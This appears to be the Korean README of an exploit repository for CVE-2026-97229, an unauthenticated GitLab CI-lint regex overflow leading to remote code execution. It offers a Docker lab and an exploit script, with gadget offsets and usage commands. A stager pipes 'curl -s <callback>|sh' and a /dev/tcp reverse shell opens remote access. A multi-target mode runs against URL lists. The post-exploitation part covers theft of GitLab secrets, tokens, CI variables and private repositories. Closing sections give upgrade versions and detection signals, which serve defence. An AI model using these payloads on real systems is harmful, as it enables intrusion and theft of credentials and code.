
CVE-2026-97229에 대한 Docker 랩 및 Python 익스플로잇으로, 인증 없이 악용 가능한 GitLab CI-lint Onigmo 정규식 정수 오버플로로 인한 RCE를 다루며, 프로빙, 레이아웃 도출, 그리고 침투 후 활동을 포함합니다.
승인된 테스트 전용. 본인 소유이거나 명시적으로 테스트 권한을 받은 시스템에만 사용하십시오 (버그 바운티 범위, 고객 참여, 자체 랩). 무단 사용은 불법입니다.
Onigmo 매처를 손상시키고 실행 흐름을 libruby.so 내부의 system() 가젯으로 리다이렉트하는
인증되지 않은 CI-lint 요청:
GET /api/v4/projects/:id/ci/lint?content_ref=<nonce>
→ include.rules.exists.regexp compiles a crafted pattern
→ a 57k-repeat drives the matcher into a ~2 GiB expansion
→ the write lands past the allocation and redirects the VM frame
→ mov r14,rdi; call system@plt runs a 28-byte stager
→ curl -s <callback>|sh → uid=998(git)
최종 요청은 인증이 필요 없지만, 악성 CI 구성을 심으려면 공개 프로젝트에 대한 쓰기 권한이 필요합니다(또는 자체 등록과 공개 프로젝트를 허용하는 인스턴스).
| 항목 | 값 |
|---|---|
| 영향받음 (테스트됨) | 19.2.0–19.2.7, 19.3.0–19.3.3, 19.4.0–19.4.1 |
| 악용 불가 | 19.2.8, 19.3.4 (예외, 아래 참조), 19.3.5, 19.4.2; 19.2.3은 CE 이미지 없음 |
| 트리거 | 인증 없는 GET /api/v4/projects/:id/ci/lint |
| 전제 조건 | 접근 가능성 + 공개 프로젝트에 대한 쓰기 권한 (토큰, 탈취된 계정 또는 개방형 가입) |
| 영향 | GitLab 컨테이너 내부에서 git (uid 998) 권한으로 명령 실행 |
| PoC 제약 | x86_64 빌드; 레이아웃은 버전 문자열이 아닌 libruby.so 빌드별로 결정됨 |
| 권고 경계 | 19.2.x < 19.2.8, 19.3.x < 19.3.5, 19.4.x < 19.4.2 |
19.3.4는 권고에서 영향받는 것으로 나열되지만, 번들된
libruby.so가 취약한 확장 경로에 진입하지 않습니다 — 무기화할 수 없었습니다 (repro/evidence/2026-10-18-full-matrix/).
./lab/run.sh 19.4.1 # local Docker; first boot 5–15 min
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1
Expected last line:
{"status":"RCE","version":"19.4.1","lint":"http(502)","project":"root/e12ab34",
"output":"uid=998(git) gid=998(git) groups=998(git)\n..."}
클라우드 계정도, SSH도 필요 없습니다. 랩은 일반 Docker(로컬 데몬, DOCKER_HOST, 또는 docker context)입니다.
Docker Desktop에서는 --callback-host host.docker.internal을 추가하세요.
include.rules.exists.regexp와 110바이트 저장소 경로를 포함한 브랜치를 푸시합니다.{5(?#)7805}로 작성되어 Rails 측 반복 가드(REPEAT_MAX=1000)가 이를 감지하지 못합니다.call 명령과 system@plt의 오프셋을 제공하여 VM을 리다이렉트합니다.curl -s <callback>|sh로, git 서비스 사용자 권한의 셸을 제공합니다../lab/run.sh 19.4.1 # http://127.0.0.1:8080, container gl-19-4-1
./lab/run.sh 19.3.3 8081 # second version on another port
런처는 익스플로잇에 필요한 메모리 설정(sidekiq off, Puma 워커 1개, 작은 Postgres 버퍼, --memory 6.5g --shm-size 256m)을 적용하고, UI를 기다린 뒤 root 비밀번호를 설정합니다.
lab/README.md / lab/README_CN.md를 참고하세요.
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
| 필드 | 의미 |
|---|---|
http | GET /users/sign_in의 상태 |
version | 컨테이너에서 읽은 GitLab 버전 (컨테이너 접근 없으면 null) |
class | 권고 분류: affected / patched / not-listed / unknown |
libruby_md5 | 대상 컨테이너의 libruby.so 빌드 식별자 |
layout | finish / gadget / step (빌드가 알려져 있거나 도출 가능한 경우에만) |
exploitable | 레이아웃 사용 가능 여부; class=affected가 반드시 이것을 의미하지는 않음 |
layout_source | table, derived, 또는 no-overflow-in-build |
class: "unknown"은 단순히 컨테이너/버전 정보를 사용할 수 없었음을 의미합니다 — URL만 있는 대상의 경우
도구가 레이아웃을 분류하거나 도출할 수 없습니다. 아래의 “외부 대상”을 참조하세요.
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 \
--command 'id; hostname; uname -a'
성공 기준: lint가 dropped(HTTPError) 또는 http(502)이고 output이 uid=998(git)로 시작합니다. valid:true인 200은 해당 빌드가 취약하지 않다는 뜻입니다.
| 라인 | 익스플로잇 가능 | 패치됨 / 익스플로잇 불가 |
|---|---|---|
| 19.2.x | 19.2.0, 19.2.1, 19.2.2, 19.2.4–19.2.7 | 19.2.8; 19.2.3은 CE 이미지 없음 |
| 19.3.x | 19.3.0–19.3.3 | 19.3.4 (matcher가 절대 확장되지 않음), 19.3.5 |
| 19.4.x | 19.4.0, 19.4.1 | 19.4.2 |
빌드별 증거: repro/evidence/2026-10-18-full-matrix/
(中文).
# plain URL list (.txt)
https://gitlab-a.example
http://gitlab-b.example:8080
# structured (.txt or .csv): name,url,container[,layout]
gl-1941,http://127.0.0.1:8080,gl-19-4-1
# CSV with header
name,url,container,layout
gl-1941,http://127.0.0.1:8080,gl-19-4-1,
container는 현재 익스플로잇 경로(libruby/layout + rails runner)에 필요합니다. layout은 도구가 읽을 수 없는 빌드에 대한 선택적 재정의입니다.
python3 exploit/cve97229.py --targets targets.txt --json-out run.json
각 대상에 대해 순서대로: probe → exploit → RCE 시 post-exploitation
(exploit/post/collect.sh; --post-command-file로 재정의, --no-post로 비활성화).
--probe-only는 핑거프린팅 후 중지합니다. 대상 중 하나라도 RCE가 발생하면 종료 코드 0입니다.
페이로드에는 빌드별 상수 세 개(finish, system@plt 가젯, UTF-8 단계)가 필요합니다. 해석 순서:
layout (0x… 0x… 12345);libruby.so로부터 exploit/layout.py를 통한 즉석 도출.알려진 모든 취약 빌드는 두 가지 레이아웃만 사용합니다: 0x486DA9/0x31EE29/1249885 및
0x4885A9/0x31E809/1256138.
--mode external은 HTTP와 PAT(api 스코프)만 필요합니다: API를 통해 공개 프로젝트를 생성하고,
oauth2:<token>으로 푸시하며, 인증 없는 lint를 실행하고, 이후 프로젝트를 제거합니다.
python3 exploit/cve97229.py --mode external --targets scope.csv \
--token glpat-... --scope scope.txt --authorized \
--callback-host 203.0.113.10 --callback-port 80
GET /api/v4/version → 버전/md5 테이블; 알 수 없는 버전 → 두 후보
레이아웃 모두 (--force-unknown-version은 버전 검사를 건너뜀);api 스코프의 PAT; 없으면 도구는
no-write-path를 보고하고 아무것도 전송하지 않음;cb.example:80); 더 긴 주소는
요청 전에 거부됨;--scope와 --authorized가 필수; --dry-run은 핑거프린팅만 수행;GET /api/v4/projects/:id로 확인);익스플로잇은 컨테이너 내부의 git (uid 998) 으로 실행됨 — 전체 GitLab 침해에 충분함.
플레이북: exploit/post/README.md / 中文.
# one-shot triage: identity, secrets, DB, repos, sudo, docker.sock
python3 exploit/cve97229.py --url ... --container ... --command-file exploit/post/collect.sh
| 대상 | 값 |
|---|---|
/etc/gitlab/gitlab-secrets.json | db_key_base, otp_key_base, runner/JWT 키; CI 변수와 토큰을 복호화함 |
database.yml + gitlab-rails runner | 직접 DB, PAT, 관리자 사용자, CI 변수 |
/var/opt/gitlab/git-data/repositories | 프라이빗 리포지토리를 포함한 모든 리포지토리 |
Ci::Runner.pluck(:token) | 악성 runner 등록 |
gitlab.rb | SMTP/LDAP, 오브젝트 스토리지, 레지스트리 키 |
대화형 셸: 리스너와 함께 --command 'bash -i >& /dev/tcp/<host>/4444 0>&1'.
**19.2.8+, 19.3.5+, 19.4.2+**로 업그레이드하세요.
삼중 신호:
GET /api/v4/projects/*/ci/lint에서 badgateway: failed to receive response: EOF;regexp_matcher.rb:58: [BUG] Segmentation fault;( ?# ) 분할 수량자, 반복된 [[:word:]], 또는
\U00010400이 포함된 110바이트 UTF-8 경로.